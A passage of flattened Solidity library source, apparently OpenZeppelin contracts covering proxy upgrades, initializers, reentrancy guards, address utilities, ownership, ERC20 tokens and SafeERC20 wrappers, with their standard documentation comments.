AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/*
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeaconUpgradeable {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC1967/ERC1967UpgradeUpgradeable.sol";
import "./Initializable.sol";
/**
* @dev Base contract for building openzeppelin-upgrades compatible implementations for the {ERC1967Proxy}. It includes
* publicly available upgrade functions that are called by the plugin and by the secure upgrade mechanism to verify
* continuation of the upgradability.
*
* The {_authorizeUpgrade} function MUST be overridden to include access restriction to the upgrade mechanism.
*
* _Available since v4.1._
*/
abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable {
function __UUPSUpgradeable_init() internal initializer {
__ERC1967Upgrade_init_unchained();
__UUPSUpgradeable_init_unchained();
}
function __UUPSUpgradeable_init_unchained() internal initializer {
}
function upgradeTo(address newImplementation) external virtual {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, data, true);
}
function _authorizeUpgrade(address newImplementation) internal virtual;
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlotUpgradeable {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
